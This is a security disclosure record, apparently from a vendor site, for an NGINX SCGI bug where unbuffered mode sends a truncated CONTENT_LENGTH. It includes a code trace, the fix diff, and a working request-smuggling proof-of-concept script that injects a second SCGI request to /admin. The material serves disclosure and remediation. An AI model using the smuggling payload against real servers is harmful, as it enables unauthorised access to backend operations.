Skip to content
winfunc
Disclosure record · NGINX

SCGI unbuffered mode sent truncated CONTENT_LENGTH causing backend desync

NGINX SCGI used buffered-prefix body length in unbuffered mode; fix now uses canonical content length inputs

NGINXDisclosedSource record

Severity rating

Medium
Medium

No numeric base score was published with this disclosure.

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Record

Project
NGINX
Severity
Medium
CVE
None listed
Disclosed
Trace
4 steps

Summary

Source

request_body_no_buffering enablement

src/http/modules/ngx_http_scgi_module.c:542

Sink

CONTENT_LENGTH serialization in ngx_http_scgi_create_request

src/http/modules/ngx_http_scgi_module.c:656

In the SCGI module, ngx_http_scgi_create_request() historically derived CONTENT_LENGTH by summing the currently buffered request-body chain (r->upstream->request_bufs). This behavior was introduced to support chunked-body accounting, but it becomes inaccurate when scgi_request_buffering off is used and the body is still streaming.

With unbuffered request forwarding, only an early body prefix may be available when SCGI headers are serialized. The emitted SCGI netstring can therefore advertise a smaller CONTENT_LENGTH than the client-declared body size. Downstream SCGI backends that keep connections open and parse trailing bytes as another request can become desynchronized.

Upstream NGINX accepted this as a protocol-framing bug and explicitly classified it as a regular bugfix (not an NGINX security issue), noting SCGI is specified as one request per connection. The fix development is tracked in PR #1118 and implemented in commit fe2d109.

Severity

Attack vectorAV
Network
Attack complexityAC
Low
Privileges requiredPR
None
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
High
IntegrityI
High
AvailabilityA
High

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledsrc/http/modules/ngx_http_scgi_module.c:542

    request_body_no_buffering enablement

  2. Step 01src/http/modules/ngx_http_scgi_module.c:542-547

    When scgi_request_buffering off is configured and a non-chunked request body is passed, SCGI switches to no-buffering mode and may start upstream request creation before the full body is read.

    cpp
    if (!scf->upstream.request_buffering
        && scf->upstream.pass_request_body
        && !r->headers_in.chunked)
    {
        r->request_body_no_buffering = 1;
    }
    
  3. Step 02src/http/modules/ngx_http_scgi_module.c:651-657

    Legacy logic computed content_length_n from only the currently buffered body chain, which can represent just a prefix in unbuffered mode.

    cpp
    content_length_n = 0;
    body = r->upstream->request_bufs;
    while (body) {
        content_length_n += ngx_buf_size(body->buf);
        body = body->next;
    }
    
  4. Step 03src/http/modules/ngx_http_scgi_module.c:659-661

    That truncated number was serialized into SCGI CONTENT_LENGTH, creating framing mismatch versus the full HTTP request body.

    cpp
    content_length.data = buffer;
    content_length.len = ngx_sprintf(buffer, "%O", content_length_n) - buffer;
    
  5. Step 04src/http/modules/ngx_http_scgi_module.c:656-668 (fix)

    Patch fe2d109 now prefers original Content-Length header value, then content_length_n from body filters, and finally 0, aligning SCGI framing with canonical length sources.

    cpp
    if (r->headers_in.content_length) {
        content_length = r->headers_in.content_length->value;
    } else if (r->headers_in.content_length_n > 0) {
        content_length.data = buffer;
        content_length.len = ngx_sprintf(buffer, "%O", r->headers_in.content_length_n) - buffer;
    } else {
        ngx_str_set(&content_length, "0");
    }
    
  6. Sinksrc/http/modules/ngx_http_scgi_module.c:656

    CONTENT_LENGTH serialization in ngx_http_scgi_create_request

Impact

Reported impact

In affected backend implementations this can cause backend request desynchronization and request-smuggling-like behavior. NGINX maintainers classified the issue as a regular bugfix rather than a security vulnerability in NGINX itself, because SCGI specifies one request per connection and does not define semantics for extra bytes.

Attack surface

NGINX deployments using SCGI with scgi_request_buffering off and backends that keep connections alive while interpreting trailing bytes as additional SCGI requests.

Preconditions

Attacker can send a POST with explicit Content-Length and control body timing; backend behavior must be non-standard (or extension-like) by processing extra bytes as another request on the same connection.

Attack path

  1. 1

    Send a crafted request whose initial body prefix arrives before upstream init, while the rest is delayed.

  2. 2

    NGINX serializes SCGI with CONTENT_LENGTH matching only buffered prefix bytes.

  3. 3

    Delayed trailing bytes are forwarded after SCGI headers/body framing was fixed to the shorter length.

  4. 4

    A permissive keepalive SCGI backend parses trailing bytes as a second request and executes attacker-controlled backend operations.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Requirements: Python 3, C toolchain, and OpenSSL/PCRE2 dev libraries.

    Build NGINX from source:

    bash
    WORKDIR=/path/to/nginx-source
    cd "$WORKDIR"
    
    ./auto/configure --prefix="$WORKDIR/build" \
      --with-http_ssl_module --with-http_v2_module
    make -j"$(sysctl -n hw.ncpu 2>/dev/null || getconf _NPROCESSORS_ONLN)"
    make install
    
  2. 02

    Target configuration

    Create nginx.conf (self-contained repro config):

    bash
    cat > nginx.conf <<'NGINX'
    worker_processes 1;
    error_log logs/error.log debug;
    pid logs/nginx.pid;
    
    events { worker_connections 1024; }
    
    http {
        include       conf/mime.types;
        default_type  application/octet-stream;
        access_log logs/access.log;
    
        upstream scgi_backend {
            server 127.0.0.1:9000;
            keepalive 1;
        }
    
        server {
            listen 8080;
            server_name localhost;
    
            location /scgi {
                include conf/scgi_params;
                scgi_pass scgi_backend;
                scgi_request_buffering off;
                scgi_pass_request_body on;
            }
        }
    }
    NGINX
    

    Create scgi_backend.py:

    bash
    cat > scgi_backend.py <<'PY'
    from __future__ import annotations
    import datetime
    import socket
    import socketserver
    
    RESPONSE = b'Status: 200 OK\r\nContent-Length: 2\r\n\r\nOK'
    
    
    def _read_all(sock: socket.socket, timeout: float = 3.0) -> bytes:
        sock.settimeout(timeout)
        out = bytearray()
        while True:
            try:
                chunk = sock.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            out += chunk
        return bytes(out)
    
    
    def _parse_headers(raw: bytes) -> dict[bytes, bytes]:
        parts = raw.split(b'\x00')
        return dict(zip(parts[0::2], parts[1::2]))
    
    
    class SCGIHandler(socketserver.BaseRequestHandler):
        def handle(self) -> None:
            sock: socket.socket = self.request
            raw = _read_all(sock)
            off = 0
            seen = 0
    
            while off < len(raw):
                i = raw.find(b':', off)
                if i == -1:
                    break
                try:
                    header_len = int(raw[off:i])
                except ValueError:
                    break
    
                hs = i + 1
                he = hs + header_len
                if he + 1 > len(raw) or raw[he:he + 1] != b',':
                    break
    
                headers = _parse_headers(raw[hs:he])
                try:
                    body_len = int(headers.get(b'CONTENT_LENGTH', b'0'))
                except ValueError:
                    body_len = 0
    
                bs = he + 1
                be = bs + body_len
                if be > len(raw):
                    break
    
                body = raw[bs:be]
                ts = datetime.datetime.utcnow().isoformat()
                print(f'[{ts}] SCGI request from {self.client_address}: headers={headers} body={body!r}', flush=True)
                seen += 1
                off = be
    
            if off < len(raw):
                ts = datetime.datetime.utcnow().isoformat()
                print(f'[{ts}] Residual bytes from {self.client_address}: {raw[off:]!r}', flush=True)
    
            for _ in range(max(1, seen)):
                sock.sendall(RESPONSE)
    
    
    class ReusableTCPServer(socketserver.TCPServer):
        allow_reuse_address = True
    
    
    if __name__ == '__main__':
        with ReusableTCPServer(('127.0.0.1', 9000), SCGIHandler) as srv:
            print('SCGI demo backend listening on 127.0.0.1:9000', flush=True)
            srv.serve_forever()
    PY
    
  3. 03

    Exploit delivery

    Create poc_smuggle.py:

    bash
    cat > poc_smuggle.py <<'PY'
    from __future__ import annotations
    import socket
    import time
    
    HOST, PORT = '127.0.0.1', 8080
    
    
    def build_scgi_netstring(headers: dict[bytes, bytes], body: bytes = b'') -> bytes:
        hb = b''.join(k + b'\x00' + v + b'\x00' for k, v in headers.items())
        return str(len(hb)).encode('ascii') + b':' + hb + b',' + body
    
    
    def build_payload() -> tuple[bytes, bytes]:
        prefix = b'A' * 20
        smuggled = build_scgi_netstring(
            {
                b'CONTENT_LENGTH': b'0',
                b'SCGI': b'1',
                b'REQUEST_METHOD': b'GET',
                b'REQUEST_URI': b'/admin',
            },
            b'',
        )
    
        body = prefix + smuggled
        req = (
            f'POST /scgi HTTP/1.1\r\n'
            f'Host: localhost\r\n'
            f'Content-Length: {len(body)}\r\n'
            f'Connection: keep-alive\r\n'
            f'\r\n'
        ).encode('ascii')
        return req + prefix, smuggled
    
    
    def main() -> None:
        head, tail = build_payload()
        with socket.create_connection((HOST, PORT)) as s:
            print(f'[+] Connected to {HOST}:{PORT}')
            s.sendall(head)
            print(f'[+] Sent head ({len(head)} bytes), sleeping before tail...')
            time.sleep(1)
            s.sendall(tail)
            print(f'[+] Sent tail ({len(tail)} bytes)')
    
            print('[+] Response chunk #1:')
            print(s.recv(4096).decode('latin1', 'replace'))
    
    
    if __name__ == '__main__':
        main()
    PY
    

    Run end-to-end:

    bash
    python3 scgi_backend.py > build/logs/scgi_backend.log 2>&1 &
    ./build/sbin/nginx -p "$(pwd)/build" -c "$(pwd)/nginx.conf"
    python3 poc_smuggle.py
    tail -n 10 build/logs/scgi_backend.log
    

    Cleanup:

    bash
    pkill -f scgi_backend.py
    ./build/sbin/nginx -p "$(pwd)/build" -c "$(pwd)/nginx.conf" -s stop
    
  4. 04

    Expected response

    Backend logs show a first SCGI request with truncated CONTENT_LENGTH followed by attacker-controlled residual bytes interpreted as a second request in permissive backends:

    text
    ... headers={b'CONTENT_LENGTH': b'20', ...} body=b'AAAAAAAAAAAAAAAAAAAA'
    ... headers={b'CONTENT_LENGTH': b'0', b'SCGI': b'1', b'REQUEST_METHOD': b'GET', b'REQUEST_URI': b'/admin'} body=b''
    
  5. 05

    Outcome

    The PoC demonstrates message-framing mismatch in unbuffered SCGI mode and backend desync risk when a backend accepts multiple parsed units on one connection.

Remediation

Guidance

Adopt canonical length sources when building SCGI requests: use original incoming Content-Length when present, else use filter-derived content_length_n, else 0. This is the approach merged in PR #1118 (fe2d109) and aligns SCGI framing for buffered and unbuffered body paths.

Before and after−8+8
content_length_n = 0;body = r->upstream->request_bufs;while (body) {    content_length_n += ngx_buf_size(body->buf);    body = body->next;}content_length.data = buffer;content_length.len = ngx_sprintf(buffer, "%O", content_length_n) - buffer;if (r->headers_in.content_length) {    content_length = r->headers_in.content_length->value;} else if (r->headers_in.content_length_n > 0) {    content_length.data = buffer;    content_length.len = ngx_sprintf(buffer, "%O", r->headers_in.content_length_n) - buffer;} else {    ngx_str_set(&content_length, "0");}
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.